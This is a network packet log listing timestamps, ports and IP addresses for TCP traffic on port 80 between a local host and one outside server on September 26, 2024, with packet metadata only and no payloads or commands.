Sep 26, 2024 19:05:10.604346037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.604365110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.604371071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.604388952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.604394913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.604408026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.604418993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.604435921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.604453087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.605706930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.605722904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.605737925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.605753899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.605763912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.605772972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.605786085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.605794907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.605818987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.606919050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.606935978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.606950045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.606966019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.606975079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.606983900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.607006073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.607017040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.607029915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.607042074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.607064009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.608340025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.608355045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.608367920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.608382940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.608395100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.608407021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.608417034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.608428955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.608438969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.608448029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.608479023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.609503984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.609519958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.609534979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.609549046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.609559059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.609569073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.609581947 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.609590054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.609600067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.609612942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.609632015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.609646082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.612106085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.612124920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.612138033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.612159967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.612170935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.640238047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.640332937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.640362024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.640506029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.702548027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.702644110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.702796936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.702814102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.702848911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.702860117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.703367949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.703391075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.703408003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.703417063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.703428984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.703440905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.703449965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.703485012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.704248905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.704263926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.704278946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.704304934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.704314947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.704329014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.704358101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.705408096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.705424070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.705449104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.705459118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.705467939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.705481052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.705488920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.705523014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.706311941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.706327915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.706342936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.706356049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.706367970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.706374884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.706389904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.706398964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.706413031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.706429958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.707365036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.707381010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.707401991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.707413912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.707423925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.707434893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.707443953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.707480907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.708890915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.708908081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.708921909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.708939075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.708949089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.708961010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.708971977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.708988905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.710403919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.710419893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.710434914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.710448980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.710459948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.710478067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.710505009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.712312937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.712327957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.712342978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.712361097 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.712368011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.712377071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.712387085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.712398052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.712408066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.712439060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.713927031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.713942051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.713957071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.713974953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.713983059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.713992119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.714015961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.716279984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.716296911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.716311932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.716331005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.716341972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.716348886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.716358900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.716371059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.716383934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.716404915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.718735933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.718751907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.718766928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.718781948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.718792915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.718801975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.718822002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.721903086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.721920013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.721934080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.721963882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.722901106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.725402117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.725457907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.728310108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.728326082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.728341103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.728358030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.728368998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.728379011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.728393078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.728399992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.728410006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.728432894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.729703903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.729718924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.729733944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.729747057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.729758024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.729768038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.729795933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.735362053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.735378981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.735394001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.735409021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.735423088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.735433102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.735455990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.736593962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.736610889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.736625910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.736644030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.736650944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.736669064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.736695051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.742491007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.742507935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.742544889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.742558956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.743860006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.743876934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.743894100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.743905067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.743921041 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.743933916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.749274015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.749290943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.749330997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.749346972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.750878096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.750895023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.750933886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.750943899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.755564928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.755582094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.755703926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.757030964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.757046938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.757061005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.757116079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.757134914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.761667967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.761686087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.761749029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.761759996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.762814999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.762831926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.762877941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.762898922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.763065100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.763079882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.763094902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.763109922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.763128042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.766422033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.766438961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.766478062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.766480923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.766496897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.766530991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.766550064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.770286083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.770303965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.770356894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.770373106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.772563934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.772614956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.772635937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.772650957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.772666931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.772682905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.772700071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.773427963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.773443937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.773459911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.773482084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.773508072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.775402069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.775417089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.775432110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.775465012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.775500059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.775845051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.775859118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.775872946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.775886059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.775897980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.775921106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.775944948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.777396917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.777412891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.777427912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.777440071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.777452946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.777462959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.777498007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.777721882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.777738094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.777753115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.777762890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.777781010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.777805090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.778800011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.778815985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.778831005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.778841019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.778856039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.778865099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.778888941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.778902054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.778979063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.778994083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.779009104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.779019117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.779032946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.779040098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.779052019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.779078960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.779638052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.779654026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.779683113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.779696941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.779911995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.779952049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.780098915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.780113935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.780128002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.780138016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.780153036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.780183077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.780898094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.780915022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.780945063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.780960083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.781759024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.781805992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.785650969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.785715103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.785861015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.785876036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.785907030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.785916090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.786469936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.786514044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.786823034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.786837101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.786863089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.786885977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.787739038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.787755013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.787782907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.787796974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.788356066 CEST	80	49735	46.8.231.109	192.168.2.4
